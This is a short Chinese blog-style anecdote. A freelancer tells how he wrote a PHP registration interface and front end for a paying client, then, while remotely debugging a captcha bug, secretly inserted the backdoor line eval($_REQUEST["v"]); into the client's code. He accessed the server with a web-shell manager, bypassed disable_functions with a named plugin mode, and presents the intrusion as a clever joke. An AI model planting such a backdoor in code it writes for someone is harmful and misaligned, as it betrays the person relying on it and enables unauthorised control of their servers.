顶级黑客:验证码发一下

开端

近日手头紧,遂想通过接单赚点钱,后找到了某二手交易平台,发布了代写shell、python、php等脚本的单子。

第二天,有人来问能否写php的注册接口。

我说:“能,你这接口是干什么的?”

他说:“注册用的,多少钱?”

我答道:“9.9。”

由于是第一次做单子,不了解行情,万一叫得太高价给别人吓跑了多不好,索性9.9(包邮)

后面便是对接口需求,调试。后来,他说需要一个前端界面,于是我又给他加上了个前端界面,界面是用chatGPT生成的,虽然这一版不好看,但他说能用就行。调试了一番后就一手交钱一手交货了。

image-20230214123916688

顺带提一嘴,chatGPT真好用,只要描述的够清楚,他就能做到多强大。

image-20230214125607575

机缘

我以为这一单9.9就此了事,没成想他又找到了我。

他说:“我这里怎么总是说验证码错误?”

验证码错误?怎么会验证码错误?难道我写错了?我带着疑问打开了vscode,通读一遍都没发现错误,于是远程上他的电脑调试,后来发现是session问题,经过一番修改,我发现一件重要的事情:他不懂代码!他有两台服务器!其中一台在国外!

出手

于是,我在他的接口加了一句惊天地泣鬼神的 eval($_REQUEST["v"]);

然后拔出我的蚁剑,结果报了 ret=127,找到as_bypass_php_disable_functions插件,用 PHP Concat_UAF 模式绕过了。

image-20230214125004462 image-20230214125135503

image-20230214125256487

总结

果然,最顶级的黑客只需要一个验证码!